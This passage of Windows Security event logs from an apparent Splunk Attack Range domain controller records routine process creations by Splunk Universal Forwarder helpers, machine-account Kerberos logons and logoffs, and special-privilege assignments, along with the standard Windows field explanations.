-Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:19:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255543 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd40 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:19:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255542 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x450 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:19:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255544 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1338 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:19:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255546 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe5c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:19:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255545 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf08 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:19:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255547 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x544 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:19:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255550 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3274CC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:19:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255549 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3274CC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62705 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:19:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255548 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3274CC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:20:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255551 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:20:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255552 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb68 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:20:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255554 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe84 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:20:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255553 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x638 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:20:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255556 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd38 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:20:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255555 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:20:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255557 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe60 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:20:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255560 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32AAAE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:20:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255559 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x32AAAE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62718 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:20:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255558 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x32AAAE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:21:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255561 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb28 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:21:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255562 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1020 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:21:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255564 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program 